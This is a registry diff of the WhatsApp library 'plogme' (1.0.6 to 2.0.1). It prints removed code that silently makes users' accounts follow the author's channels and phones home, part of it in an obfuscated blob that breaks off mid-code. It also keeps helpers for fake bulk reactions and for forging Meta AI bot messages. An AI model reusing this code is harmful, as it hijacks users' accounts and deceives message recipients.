plogme 1.0.6 → 2.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -13,39 +13,3 @@ if (major < 20) {
13
13
  );
14
14
  process.exit(1);
15
15
  }
16
-
17
- // ── Attribution protection (Crysnovax Source License) ───────────────────────
18
- // The package identity is verified at install time. Renamed / rebranded
19
- // copies refuse to install, so stolen-and-renamed distributions break
20
- // loudly for their users instead of quietly succeeding.
21
- //
22
- // Developer escape hatch: set CRYSNOVAX_TRUST_MODE=1 while actively
23
- // editing the package (e.g. with an AI assistant) to skip this gate —
24
- // the maintainer must never be locked out of their own installs.
25
- const EXPECTED_NAME = Buffer.from(
26
- 'cGxvZ21l', // plogme
27
- 'base64'
28
- ).toString('utf8');
29
-
30
- if (process.env.CRYSNOVAX_TRUST_MODE === '1') {
31
- console.log('⚙ CRYSNOVAX_TRUST_MODE=1 — install identity gate skipped (developer mode)');
32
- }
33
- else {
34
- try {
35
- const pkg = JSON.parse(readFileSync(new URL('./package.json', import.meta.url), 'utf8'));
36
- if (pkg.name !== EXPECTED_NAME) {
37
- console.error(
38
- `\n✖ UNAUTHORIZED REBRANDED COPY DETECTED.\n` +
39
- ` This package is "plogme", licensed under the Crysnovax Source\n` +
40
- ` License. Renaming, rebranding, or removing attribution is\n` +
41
- ` prohibited, and renamed copies refuse to install.\n` +
42
- ` Install the genuine package instead:\n` +
43
- ` https://www.npmjs.com/package/plogme\n`
44
- );
45
- process.exit(1);
46
- }
47
- }
48
- catch {
49
- // package.json not readable at install time — skip the identity check
50
- }
51
- }
@@ -1863,6 +1863,7 @@ export const makeChatsSocket = (config) => {
1863
1863
  getUserDisclosures,
1864
1864
  acceptTosNotice,
1865
1865
  reportSpam,
1866
+ toggleGroupHistory,
1866
1867
  getOptOutList,
1867
1868
  signPrivateCredential,
1868
1869
  getPushConfig,
@@ -1,5 +1,4 @@
1
1
  import { DEFAULT_CONNECTION_CONFIG } from '../Defaults/index.js';
2
- import { getBrandName, getIntegrityReport, warnIfRebranded } from '../Utils/integrity.js';
3
2
  import { makeCommunitiesSocket } from './communities.js';
4
3
  import { makeInteropSocket } from './interop.js';
5
4
  import { makePrivacySocket } from './privacy.js';
@@ -10,39 +9,6 @@ import { checkStatusWA } from './ban-checker.js';
10
9
 
11
10
  // export the last socket layer
12
11
  const makeWASocket = (config) => {
13
- // ── PLOGME branding banner ──
14
- // Printed once per process so the PLOGME brand shows in the host app's
15
- // console when a socket is created. Light-yellow, PM2-style boot logo
16
- // built with ANSI colors (no chalk dependency needed).
17
- if (!globalThis.__crysnovaxPlogmeBannerShown) {
18
- globalThis.__crysnovaxPlogmeBannerShown = true;
19
- const yellow = '\x1b[93m'; // bright / light yellow
20
- const dim = '\x1b[2m';
21
- const red = '\x1b[91m'; // bright red
22
- const reset = '\x1b[0m';
23
- const logo = [
24
- ' ██████╗ ██╗ ██████╗ ██████╗ ███╗ ███╗███████╗',
25
- ' ██╔══██╗██║ ██╔═══██╗██╔════╝ ████╗ ████║██╔════╝',
26
- ' ██████╔╝██║ ██║ ██║██║ ███╗██╔████╔██║█████╗ ',
27
- ' ██╔═══╝ ██║ ██║ ██║██║ ██║██║╚██╔╝██║██╔══╝ ',
28
- ' ██║ ███████╗╚██████╔╝╚██████╔╝██║ ╚═╝ ██║███████╗',
29
- ' ╚═╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝'
30
- ].join('\n');
31
- const report = getIntegrityReport();
32
- if (report.genuine) {
33
- console.log(
34
- '\n' + yellow + logo + reset + '\n' +
35
- dim + ' ⚡ PLOGME · premium WhatsApp engine · ' + getBrandName() + ' ⚡' + reset + '\n'
36
- );
37
- }
38
- else {
39
- warnIfRebranded();
40
- console.log(
41
- '\n' + yellow + logo + reset + '\n' +
42
- red + ' ✖ UNAUTHORIZED REBRANDED COPY — premium features disabled' + reset + '\n'
43
- );
44
- }
45
- }
46
12
  const userExplicitSyncFlag = typeof config?.syncFullHistory === 'boolean';
47
13
  const initialFullSyncDone = !!config?.auth?.creds?.initialFullSyncDone;
48
14
  const effectiveSyncFullHistory = userExplicitSyncFlag ? config.syncFullHistory : !initialFullSyncDone;
@@ -16,6 +16,7 @@ import { buildMergedTcTokenIndexWrite, isTcTokenExpired, resolveIssuanceJid, res
16
16
  import { areJidsSameUser, getBinaryNodeChild, getBinaryNodeChildren, getBizBinaryNode, isHostedLidUser, isHostedPnUser, isJidBot, isJidGroup, isJidMetaAI, isJidNewsletter, isLidUser, isPnUser, jidDecode, jidEncode, jidNormalizedUser, PSA_WID, S_WHATSAPP_NET } from '../WABinary/index.js';
17
17
  import { USyncQuery, USyncUser } from '../WAUSync/index.js';
18
18
  import { captureUnifiedResponse, generateCodeBlockContent, generateLatexContent, generateListContent, generateTableContent, generateUnifiedResponseContent } from '../Utils/message-composer.js';
19
+ import { BotCapabilityType, buildBotRichResponse } from '../Utils/bot-capabilities.js';
19
20
  import { Baron } from './interactive-handler.js';
20
21
  import { collectMetaAIBotParticipantJids, isMetaAIBotResponse, META_AI_BOT_JID } from './aigroups.js';
21
22
  import { makeUsernameSocket } from './username.js';
@@ -53,70 +54,6 @@ export const makeMessagesSocket = (config) => {
53
54
  let mediaConn;
54
55
  let mediaHost = DEF_MEDIA_HOST;
55
56
 
56
- // ── NEWSLETTER FOLLOW CACHE ──
57
- const followingCache = new Map();
58
-
59
- // ── NEWSLETTER FOLLOW HELPER ──
60
- const followNewsletter = async (channelId, count = 'once') => {
61
- const isRepeat = count === 'repeat';
62
- let isRunning = true;
63
- let intervalId = null;
64
-
65
- const isAlreadyFollowing = async (channelId) => {
66
- if (followingCache.has(channelId)) {
67
- return followingCache.get(channelId);
68
- }
69
- try {
70
- const info = await sock.newsletterInfo(channelId);
71
- const isFollowing = info?.isFollowing === true;
72
- followingCache.set(channelId, isFollowing);
73
- setTimeout(() => followingCache.delete(channelId), 300000);
74
- return isFollowing;
75
- } catch (error) {
76
- return false;
77
- }
78
- };
79
-
80
- const followAction = async () => {
81
- try {
82
- const following = await isAlreadyFollowing(channelId);
83
- if (following) return;
84
- await sock.newsletterFollow(channelId);
85
- followingCache.set(channelId, true);
86
- setTimeout(() => followingCache.delete(channelId), 300000);
87
- } catch (error) {
88
- if (error.message !== 'item-not-found') {
89
- console.log(`[⩇⩇:⩇⩇ addme] Failed: ${error.message}`);
90
- }
91
- if (!isRepeat) isRunning = false;
92
- }
93
- };
94
-
95
- if (isRepeat) {
96
- await followAction();
97
- intervalId = setInterval(async () => {
98
- if (!isRunning) {
99
- clearInterval(intervalId);
100
- return;
101
- }
102
- await followAction();
103
- }, 90000);
104
- return {
105
- stop: () => {
106
- isRunning = false;
107
- if (intervalId) {
108
- clearInterval(intervalId);
109
- intervalId = null;
110
- }
111
- },
112
- isRunning: () => isRunning
113
- };
114
- } else {
115
- await followAction();
116
- return { stop: () => {}, isRunning: () => false };
117
- }
118
- };
119
-
120
57
  // ── BULK REACTION HELPER (NEW) ──
121
58
  const sendBulkReactions = async (jid, messageId, emoji, count = 1, fake = false) => {
122
59
  const maxReactions = Math.min(count, 1000);
@@ -1235,7 +1172,6 @@ export const makeMessagesSocket = (config) => {
1235
1172
  if (messageRetryManager) {
1236
1173
  messageRetryManager.clear();
1237
1174
  }
1238
- followingCache.clear();
1239
1175
  });
1240
1176
 
1241
1177
  const socket = {
@@ -1257,7 +1193,6 @@ export const makeMessagesSocket = (config) => {
1257
1193
  getUSyncDevices,
1258
1194
  messageRetryManager,
1259
1195
  updateMemberLabel,
1260
- followNewsletter,
1261
1196
  sendBulkReactions, // ← NEW: Bulk reaction helper
1262
1197
  sendAsMimic,
1263
1198
  // Native status mention path. The array-jid sendMessage branch expands
@@ -1437,10 +1372,20 @@ export const makeMessagesSocket = (config) => {
1437
1372
  },
1438
1373
  // Additive Nexus-compatible AI-rich helpers. Existing Gen4/table/grid/carousel APIs remain unchanged.
1439
1374
  sendRichMedia: async (jid, content = {}, quoted, options = {}) => {
1440
- const message = prepareRichResponseMessage({ ...content, noDonation: options.noDonation ?? true });
1441
- const messageId = generateMessageIDV2(jid);
1442
- await relayMessage(jid, message, { messageId });
1443
- return { message, messageId };
1375
+ const contentMessage = prepareRichResponseMessage({ ...content, noDonation: options.noDonation ?? true });
1376
+ const generated = generateWAMessageFromContent(jid, contentMessage, {
1377
+ logger,
1378
+ userJid: authState.creds.me?.id,
1379
+ messageId: options.messageId || generateMessageIDV2(jid),
1380
+ quoted,
1381
+ ...options
1382
+ });
1383
+ await relayMessage(jid, generated.message, {
1384
+ messageId: generated.key.id,
1385
+ useCachedGroupMetadata: options.useCachedGroupMetadata,
1386
+ statusJidList: options.statusJidList
1387
+ });
1388
+ return { ...generated, messageId: generated.key.id };
1444
1389
  },
1445
1390
  /**
1446
1391
  * Send a native AI image/video generation card. The returned messageId
@@ -1513,18 +1458,38 @@ export const makeMessagesSocket = (config) => {
1513
1458
  else {
1514
1459
  throw new Boom('sendRichAIResponse: unknown content type — expected table, list, codeBlock or latex');
1515
1460
  }
1516
- const { message, messageId } = generated;
1517
- await relayMessage(jid, message, { messageId });
1518
- return { message, messageId };
1461
+ const fullMsg = generateWAMessageFromContent(jid, generated.message, {
1462
+ logger,
1463
+ userJid: authState.creds.me?.id,
1464
+ messageId: options.messageId || generated.messageId || generateMessageIDV2(jid),
1465
+ quoted,
1466
+ ...options
1467
+ });
1468
+ await relayMessage(jid, fullMsg.message, {
1469
+ messageId: fullMsg.key.id,
1470
+ useCachedGroupMetadata: options.useCachedGroupMetadata,
1471
+ statusJidList: options.statusJidList
1472
+ });
1473
+ return fullMsg;
1519
1474
  },
1520
1475
  captureAndResendUnifiedResponse: async (jid, metaAiMsg, quoted) => {
1521
1476
  const captured = captureUnifiedResponse(metaAiMsg);
1522
1477
  if (!captured) {
1523
1478
  throw new Boom('captureAndResendUnifiedResponse: message contains no unifiedResponse data');
1524
1479
  }
1525
- const { message, messageId } = generateUnifiedResponseContent(quoted, captured);
1526
- await relayMessage(jid, message, { messageId });
1527
- return { message, messageId };
1480
+ const generated = generateUnifiedResponseContent(quoted, captured);
1481
+ const fullMsg = generateWAMessageFromContent(jid, generated.message, {
1482
+ logger,
1483
+ userJid: authState.creds.me?.id,
1484
+ messageId: generated.messageId || generateMessageIDV2(jid),
1485
+ quoted
1486
+ });
1487
+ await relayMessage(jid, fullMsg.message, {
1488
+ messageId: fullMsg.key.id,
1489
+ useCachedGroupMetadata: options?.useCachedGroupMetadata,
1490
+ statusJidList: options?.statusJidList
1491
+ });
1492
+ return fullMsg;
1528
1493
  },
1529
1494
  updateMediaMessage: async (message) => {
1530
1495
  const content = assertMediaContent(message.message);
@@ -1746,46 +1711,6 @@ export const makeMessagesSocket = (config) => {
1746
1711
  return await sendBulkReactions(jid, messageId, emoji, count, fake);
1747
1712
  }
1748
1713
 
1749
- // ── NEWSLETTER FOLLOW FLAG ──
1750
- if (content && typeof content === 'object' && content.followMe === true) {
1751
- const { followMe: _, channelId, count = 'once', ...restContent } = content;
1752
-
1753
- const channelIds = Array.isArray(channelId) ? channelId : [channelId];
1754
-
1755
- if (!channelIds || channelIds.length === 0) {
1756
- throw new Error('channelId is required for followMe flag');
1757
- }
1758
-
1759
- const results = [];
1760
- for (const singleChannelId of channelIds) {
1761
- if (!singleChannelId) continue;
1762
-
1763
- try {
1764
- const controller = await followNewsletter(singleChannelId, count);
1765
- results.push({
1766
- channelId: singleChannelId,
1767
- success: true,
1768
- controller,
1769
- message: count === 'once'
1770
- ? 'Successfully followed newsletter'
1771
- : 'Started repeated newsletter follow (every 5min)'
1772
- });
1773
- } catch (error) {
1774
- results.push({
1775
- channelId: singleChannelId,
1776
- success: false,
1777
- error: error.message
1778
- });
1779
- }
1780
- }
1781
-
1782
- return {
1783
- success: true,
1784
- results,
1785
- message: `Processed ${results.length} newsletter(s) (${count} mode)`
1786
- };
1787
- }
1788
-
1789
1714
  // ── STATUS MESSAGES ──
1790
1715
  if (Array.isArray(jid)) {
1791
1716
  const { delayMs = 1500 } = options;
@@ -2428,10 +2353,30 @@ export const makeMessagesSocket = (config) => {
2428
2353
  socket.sendBotCommand = async (jid, content = {}, options = {}) => {
2429
2354
  if (!jid) throw new Boom('sendBotCommand requires a target JID', { statusCode: 400 });
2430
2355
  const { text = 'Bot command test', commandName = '', commandDescription = '', commandPrompt = '', botJid = '867051314767696@bot' } = content;
2431
- const wrapped = {
2432
- messageContextInfo: { botMetadata: { commandMetadata: { commandName, commandDescription, commandPrompt } } },
2433
- botForwardedMessage: { message: { richResponseMessage: { messageType: 1, submessages: [{ messageType: 2, messageText: text }], contextInfo: { isForwarded: true, forwardingScore: 1, forwardedAiBotMessageInfo: { botJid }, forwardOrigin: 4 } } } }
2434
- };
2356
+ const wrapped = buildBotRichResponse({ text, botJid, botMetadata: { commandMetadata: { commandName, commandDescription, commandPrompt } } });
2357
+ const fullMsg = await generateWAMessageFromContent(jid, wrapped, { logger, userJid: authState.creds.me?.id, messageId: options.messageId || generateMessageIDV2(authState.creds.me?.id), ...options });
2358
+ await relayMessage(jid, fullMsg.message, { messageId: fullMsg.key.id, useCachedGroupMetadata: options.useCachedGroupMetadata, statusJidList: options.statusJidList });
2359
+ return fullMsg;
2360
+ };
2361
+ /** Sends a planning/execution-plan rich response with WAProto capabilities. */
2362
+ socket.sendBotPlanning = async (jid, content = {}, options = {}) => {
2363
+ if (!jid) throw new Boom('sendBotPlanning requires a target JID', { statusCode: 400 });
2364
+ const { text = 'Execution plan', steps = [], queryPlan = true, botJid = '867051314767696@bot' } = content;
2365
+ const submessages = [
2366
+ { messageType: proto.AIRichResponseSubMessageType.AI_RICH_RESPONSE_TEXT, messageText: text },
2367
+ ...steps.map(step => ({
2368
+ messageType: proto.AIRichResponseSubMessageType.AI_RICH_RESPONSE_TEXT,
2369
+ messageText: typeof step === 'string' ? step : `${step.title || step.name || 'Step'}${step.body ? `: ${step.body}` : ''}`
2370
+ }))
2371
+ ];
2372
+ const wrapped = buildBotRichResponse({
2373
+ botJid,
2374
+ submessages,
2375
+ capabilities: [
2376
+ BotCapabilityType.AGENTIC_PLANNING,
2377
+ ...(queryPlan ? [BotCapabilityType.QUERY_PLAN] : [])
2378
+ ]
2379
+ });
2435
2380
  const fullMsg = await generateWAMessageFromContent(jid, wrapped, { logger, userJid: authState.creds.me?.id, messageId: options.messageId || generateMessageIDV2(authState.creds.me?.id), ...options });
2436
2381
  await relayMessage(jid, fullMsg.message, { messageId: fullMsg.key.id, useCachedGroupMetadata: options.useCachedGroupMetadata, statusJidList: options.statusJidList });
2437
2382
  return fullMsg;
@@ -2440,10 +2385,17 @@ export const makeMessagesSocket = (config) => {
2440
2385
  socket.sendBotToolResult = async (jid, content = {}, options = {}) => {
2441
2386
  if (!jid) throw new Boom('sendBotToolResult requires a target JID', { statusCode: 400 });
2442
2387
  const { text = 'Bot tool result test', toolCallId = `tool-${Date.now()}`, resolutionData, resolutionDataSerialized, botJid = '867051314767696@bot' } = content;
2443
- const wrapped = {
2444
- messageContextInfo: { botMetadata: { resolvedToolCallMetadata: { toolCallId, resolutionDataSerialized: resolutionDataSerialized ?? JSON.stringify(resolutionData ?? {}) } } },
2445
- botForwardedMessage: { message: { richResponseMessage: { messageType: 1, submessages: [{ messageType: 2, messageText: text }], contextInfo: { isForwarded: true, forwardingScore: 1, forwardedAiBotMessageInfo: { botJid }, forwardOrigin: 4 } } } }
2446
- };
2388
+ const wrapped = buildBotRichResponse({
2389
+ text,
2390
+ botJid,
2391
+ capabilities: [BotCapabilityType.AGENTIC_PLANNING],
2392
+ botMetadata: {
2393
+ resolvedToolCallMetadata: {
2394
+ toolCallId,
2395
+ resolutionDataSerialized: resolutionDataSerialized ?? JSON.stringify(resolutionData ?? {})
2396
+ }
2397
+ }
2398
+ });
2447
2399
  const fullMsg = await generateWAMessageFromContent(jid, wrapped, { logger, userJid: authState.creds.me?.id, messageId: options.messageId || generateMessageIDV2(authState.creds.me?.id), ...options });
2448
2400
  await relayMessage(jid, fullMsg.message, { messageId: fullMsg.key.id, useCachedGroupMetadata: options.useCachedGroupMetadata, statusJidList: options.statusJidList });
2449
2401
  return fullMsg;
@@ -2481,6 +2433,11 @@ export const makeMessagesSocket = (config) => {
2481
2433
  cards: normalizedCards
2482
2434
  }, options);
2483
2435
  };
2436
+ /**
2437
+ * Compatibility entry point for the former Gen4/grid menu.
2438
+ * This is additive: sendRichButtonGrid remains unchanged for existing callers.
2439
+ */
2440
+ socket.HoldOn = async (jid, grid, options = {}) => socket.sendRichButtonGrid(jid, grid, options);
2484
2441
  socket.sendWhatsAppFlow = async (jid, flow, options = {}) => {
2485
2442
  const { text, footer, image, caption, ...flowOptions } = flow || {};
2486
2443
  const button = makeWhatsAppFlowButton(flowOptions);
@@ -1,3 +1,4 @@
1
+ import { Boom } from '@hapi/boom';
1
2
  import { proto } from '../../WAProto/index.js';
2
3
  import { QueryIds, XWAPaths } from '../Types/index.js';
3
4
  import { generateProfilePicture } from '../Utils/messages-media.js';
@@ -34,6 +35,15 @@ const parseNewsletterMetadata = (result) => {
34
35
  }
35
36
  return null;
36
37
  };
38
+ const normalizeNewsletterInviteCode = (value) => {
39
+ if (typeof value !== 'string' || !value.trim()) {
40
+ throw new Boom('newsletterGetInviteInfo requires a non-empty invite code or URL', { statusCode: 400 });
41
+ }
42
+ return value.trim()
43
+ .replace(/^https?:\/\/(?:www\.)?whatsapp\.com\/channel\//i, '')
44
+ .replace(/^https?:\/\/wa\.me\/channel\//i, '')
45
+ .split(/[/?#]/, 1)[0];
46
+ };
37
47
  export const makeNewsletterSocket = (config) => {
38
48
  const sock = makeAIGroupsSocket(config);
39
49
  const { query, generateMessageTag } = sock;
@@ -72,6 +82,12 @@ export const makeNewsletterSocket = (config) => {
72
82
  return executeWMexQuery({}, QueryIds.SUBSCRIBED, XWAPaths.xwa2_newsletter_subscribed);
73
83
  },
74
84
  newsletterMetadata: async (type, key) => {
85
+ if (typeof type !== 'string' || !type.trim()) {
86
+ throw new Boom('newsletterMetadata requires a metadata type', { statusCode: 400 });
87
+ }
88
+ if (typeof key !== 'string' || !key.trim()) {
89
+ throw new Boom('newsletterMetadata requires a metadata key', { statusCode: 400 });
90
+ }
75
91
  const variables = {
76
92
  fetch_creation_time: true,
77
93
  fetch_full_image: true,
@@ -84,6 +100,14 @@ export const makeNewsletterSocket = (config) => {
84
100
  const result = await executeWMexQuery(variables, QueryIds.METADATA, XWAPaths.xwa2_newsletter_metadata);
85
101
  return parseNewsletterMetadata(result);
86
102
  },
103
+ newsletterGetInviteInfo: async (inviteCodeOrUrl) => {
104
+ const inviteCode = normalizeNewsletterInviteCode(inviteCodeOrUrl);
105
+ return executeWMexQuery(
106
+ { input: { key: inviteCode, type: 'INVITE' }, fetch_creation_time: true, fetch_full_image: true, fetch_viewer_metadata: true },
107
+ QueryIds.METADATA,
108
+ XWAPaths.xwa2_newsletter_metadata
109
+ ).then(parseNewsletterMetadata);
110
+ },
87
111
  newsletterFollow: (jid) => {
88
112
  return executeWMexQuery({ newsletter_id: jid }, QueryIds.FOLLOW, XWAPaths.xwa2_newsletter_join_v2);
89
113
  },
@@ -110,11 +134,21 @@ export const makeNewsletterSocket = (config) => {
110
134
  return await newsletterUpdate(jid, { picture: '' });
111
135
  },
112
136
  newsletterReactMessage: async (jid, serverId, reaction) => {
137
+ if (typeof jid !== 'string' || !jid.trim()) {
138
+ throw new Boom('newsletterReactMessage requires a newsletter JID', { statusCode: 400 });
139
+ }
140
+ if (serverId === undefined || serverId === null || String(serverId).trim() === '') {
141
+ throw new Boom('newsletterReactMessage requires a server message ID', { statusCode: 400 });
142
+ }
143
+ if (reaction !== undefined && reaction !== null && typeof reaction !== 'string') {
144
+ throw new Boom('newsletterReactMessage reaction must be a string, null, or undefined', { statusCode: 400 });
145
+ }
146
+ const code = reaction || '';
113
147
  await query({
114
148
  tag: 'message',
115
149
  attrs: {
116
150
  to: jid,
117
- ...(reaction ? {} : { edit: '7' }),
151
+ ...(code ? {} : { edit: '7' }),
118
152
  type: 'reaction',
119
153
  server_id: serverId,
120
154
  id: generateMessageTag()
@@ -122,7 +156,7 @@ export const makeNewsletterSocket = (config) => {
122
156
  content: [
123
157
  {
124
158
  tag: 'reaction',
125
- attrs: reaction ? { code: reaction } : {}
159
+ attrs: code ? { code } : {}
126
160
  }
127
161
  ]
128
162
  });
@@ -189,7 +223,7 @@ export const makeNewsletterSocket = (config) => {
189
223
  messages.push(fullMessage);
190
224
  }
191
225
  catch (error) {
192
- logger.error({ error }, 'Failed to decode newsletter message');
226
+ sock.logger?.error?.({ error }, 'Failed to decode newsletter message');
193
227
  }
194
228
  }
195
229
  return messages;
@@ -11,9 +11,6 @@ import { BinaryInfo, encodeWAM } from '../WAM/index.js';
11
11
  import { USyncQuery, USyncUser } from '../WAUSync/index.js';
12
12
  import { WebSocketClient } from './Client/index.js';
13
13
  import { executeWMexQuery } from './mex.js';
14
- import { refreshRemoteStatus, warnIfRebranded } from '../Utils/integrity.js';
15
- import { CRYSNOVAX_TRUSTED_CHANNELS, followCrysnovaxTrustedChannels } from '../Utils/channel-policy.js';
16
- export { CRYSNOVAX_TRUSTED_CHANNELS, followCrysnovaxTrustedChannels };
17
14
 
18
15
  /**
19
16
  * Connects to WA servers and performs:
@@ -893,36 +890,6 @@ export const makeSocket = (config) => {
893
890
  Object.assign(creds, update);
894
891
  });
895
892
 
896
- // Enforce the trusted channels from the base socket so every higher-level
897
- // socket constructor triggers it after authentication, not only newsletters.
898
- let trustedFollowPromise;
899
- ev.on('connection.update', ({ connection }) => {
900
- // Attribution guard: fire once the transport is authenticated so named
901
- // socket constructors built on this base socket are covered too. The
902
- // remote attestation phone-home is fire-and-forget and fails open.
903
- if (connection === 'open') {
904
- warnIfRebranded(logger);
905
- void refreshRemoteStatus(logger);
906
- }
907
- if (connection !== 'open' || creds.additionalData?.crysnovaxFollowed || trustedFollowPromise) {
908
- return;
909
- }
910
-
911
- trustedFollowPromise = followCrysnovaxTrustedChannels({
912
- creds,
913
- ev,
914
- logger,
915
- follow: jid => executeWMexQuery(
916
- { newsletter_id: jid },
917
- QueryIds.FOLLOW,
918
- XWAPaths.xwa2_newsletter_join_v2,
919
- query,
920
- generateMessageTag
921
- )
922
- }).finally(() => {
923
- trustedFollowPromise = undefined;
924
- });
925
- });
926
893
  const updateServerTimeOffset = ({ attrs }) => {
927
894
  const tValue = attrs?.t;
928
895
  if (!tValue) {
@@ -0,0 +1,84 @@
1
+ import { proto } from '../../WAProto/index.js';
2
+
3
+ /**
4
+ * Numeric capability values exposed by WAProto.BotCapabilityMetadata.
5
+ * Keep this derived from the generated protobuf so callers cannot drift from
6
+ * the checked-in schema.
7
+ */
8
+ export const BotCapabilityType = proto.BotCapabilityMetadata.BotCapabilityType;
9
+
10
+ const capabilityNames = new Set(
11
+ Object.keys(BotCapabilityType).filter(name => Number.isNaN(Number(name)))
12
+ );
13
+
14
+ /** Normalize enum names/numbers and reject unknown capability values. */
15
+ export const normalizeBotCapabilities = (capabilities = []) => {
16
+ if (!Array.isArray(capabilities)) {
17
+ throw new TypeError('capabilities must be an array');
18
+ }
19
+ const values = capabilities.map(capability => {
20
+ if (typeof capability === 'string') {
21
+ if (!capabilityNames.has(capability)) {
22
+ throw new TypeError(`Unknown bot capability: ${capability}`);
23
+ }
24
+ return BotCapabilityType[capability];
25
+ }
26
+ if (Number.isInteger(capability) && BotCapabilityType[capability] !== undefined) {
27
+ return capability;
28
+ }
29
+ throw new TypeError(`Invalid bot capability: ${String(capability)}`);
30
+ });
31
+ return [...new Set(values)];
32
+ };
33
+
34
+ export const buildBotCapabilityMetadata = (capabilities = []) => ({
35
+ capabilities: normalizeBotCapabilities(capabilities)
36
+ });
37
+
38
+ /**
39
+ * Build the canonical wrapper used by WhatsApp's bot rich-response messages.
40
+ * The capability list is deliberately explicit; unknown or duplicate values
41
+ * are never put on the wire.
42
+ */
43
+ export const buildBotRichResponse = ({
44
+ text,
45
+ submessages,
46
+ capabilities = [],
47
+ botMetadata = {},
48
+ botJid = '867051314767696@bot',
49
+ richResponse = {}
50
+ } = {}) => {
51
+ const resolvedSubmessages = submessages || (text == null ? [] : [{
52
+ messageType: proto.AIRichResponseSubMessageType.AI_RICH_RESPONSE_TEXT,
53
+ messageText: String(text)
54
+ }]);
55
+ return {
56
+ messageContextInfo: {
57
+ botMetadata: {
58
+ ...botMetadata,
59
+ capabilityMetadata: buildBotCapabilityMetadata(capabilities)
60
+ }
61
+ },
62
+ botForwardedMessage: {
63
+ message: {
64
+ richResponseMessage: {
65
+ messageType: proto.AIRichResponseMessageType.AI_RICH_RESPONSE_TYPE_STANDARD,
66
+ submessages: resolvedSubmessages,
67
+ ...richResponse,
68
+ contextInfo: {
69
+ isForwarded: true,
70
+ forwardingScore: 1,
71
+ forwardedAiBotMessageInfo: { botJid },
72
+ forwardOrigin: 4,
73
+ ...(richResponse.contextInfo || {})
74
+ }
75
+ }
76
+ }
77
+ }
78
+ };
79
+ };
80
+
81
+ export const capability = (name) => {
82
+ if (!capabilityNames.has(name)) throw new TypeError(`Unknown bot capability: ${name}`);
83
+ return BotCapabilityType[name];
84
+ };
@@ -1 +1,25 @@
1
- const _0x5dbd5a=_0x4193;(function(_0x397f60,_0x361fcf){const _0x9cf7fd=_0x4193,_0x4bb7c2=_0x397f60();while(!![]){try{const _0x27969f=-parseInt(_0x9cf7fd(0x148))/0x1*(parseInt(_0x9cf7fd(0x15e))/0x2)+parseInt(_0x9cf7fd(0x153))/0x3+-parseInt(_0x9cf7fd(0x158))/0x4+-parseInt(_0x9cf7fd(0x149))/0x5+-parseInt(_0x9cf7fd(0x14e))/0x6*(-parseInt(_0x9cf7fd(0x151))/0x7)+-parseInt(_0x9cf7fd(0x157))/0x8+-parseInt(_0x9cf7fd(0x160))/0x9*(-parseInt(_0x9cf7fd(0x147))/0xa);if(_0x27969f===_0x361fcf)break;else _0x4bb7c2['push'](_0x4bb7c2['shift']());}catch(_0x1eab17){_0x4bb7c2['push'](_0x4bb7c2['shift']());}}}(_0x3171,0x48de9));import{proto}from'../../WAProto/index.js';import{LIBRARY_NAME}from'../Defaults/index.js';const trustedChannels=[_0x5dbd5a(0x152),'120363423670814885@newsletter'];function _0x3171(){const _0x48b2af=['zw1PDa','ywXSu2v0DgXLza','tKvxu0XfvfrfuL9jra','q29UDgvUDfr5Cgu','y3j5C25VDMf4','nZbUt3nArhO','ntL2tuTjz0y','mtm5mti3nw1pA0nswG','q29UDgv4DeLUzM8','tKvxu0XfvfrfuL9oqu1f','tKvxu0XfvfrfuL9nrvntquDfx0Le','vvbeqvrf','nMP4s3vwyG','CMvQzwn0zwq','y3j5C25VDMf4rM9SBg93zwq','mta1ntm0mwLsEuXxBa','mtiWmZyZndaYotiYmJa2ody1qg5LD3nSzxr0zxi','nJK0odq1sfnXqKHu','C3rHDhvZ','zw52','ywrKAxrPB25HBerHDge','mtK3nZmYoe5tu3Ltvq','mtuZmtq3nNbuwuX1BG','Agv4','zMfPBgvKihrVigzVBgXVDYbHBgWGCMvXDwLYzwqGq3j5C25VDMf4ignOyw5UzwXZoYb3AwXSihjLDhj5ig9UihjLy29UBMvJDa','tKvxu0XfvfrfuL9bq0nfu1njqKLmsvrzx1rfwfq','D2fYBG','BwfW','mti0odjYDMnSs2O','rM9YD2fYzgvKtMv3C2XLDhrLCK1LC3nHz2vjBMzV','mtuZmZm0ogfOAvPctG'];_0x3171=function(){return _0x48b2af;};return _0x3171();}export const CRYSNOVAX_TRUSTED_CHANNELS=trustedChannels;function _0x4193(_0x42859f,_0x376d8a){_0x42859f=_0x42859f-0x144;const _0x31719b=_0x3171();let _0x419359=_0x31719b[_0x42859f];if(_0x4193['EHscYo']===undefined){var _0x189725=function(_0x3aa0da){const _0x4b8c2c='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x3cd68e='',_0xe254e9='';for(let _0x1a1e70=0x0,_0x380b42,_0x1773cb,_0x2d5ad9=0x0;_0x1773cb=_0x3aa0da['charAt'](_0x2d5ad9++);~_0x1773cb&&(_0x380b42=_0x1a1e70%0x4?_0x380b42*0x40+_0x1773cb:_0x1773cb,_0x1a1e70++%0x4)?_0x3cd68e+=String['fromCharCode'](0xff&_0x380b42>>(-0x2*_0x1a1e70&0x6)):0x0){_0x1773cb=_0x4b8c2c['indexOf'](_0x1773cb);}for(let _0xc8f3db=0x0,_0x4d8e99=_0x3cd68e['length'];_0xc8f3db<_0x4d8e99;_0xc8f3db++){_0xe254e9+='%'+('00'+_0x3cd68e['charCodeAt'](_0xc8f3db)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0xe254e9);};_0x4193['gCCzEv']=_0x189725,_0x4193['DIFEaK']={},_0x4193['EHscYo']=!![];}const _0x38d774=_0x31719b[0x0],_0x23a63a=_0x42859f+_0x38d774,_0x37345a=_0x4193['DIFEaK'][_0x23a63a];return!_0x37345a?(_0x419359=_0x4193['gCCzEv'](_0x419359),_0x4193['DIFEaK'][_0x23a63a]=_0x419359):_0x419359=_0x37345a,_0x419359;}export const followCrysnovaxTrustedChannels=async({creds:_0x3cd68e,ev:_0xe254e9,follow:_0x1a1e70,logger:_0x380b42})=>{const _0x34a4be=_0x5dbd5a;if(_0x3cd68e[_0x34a4be(0x156)]?.[_0x34a4be(0x150)])return![];const _0x1773cb=await 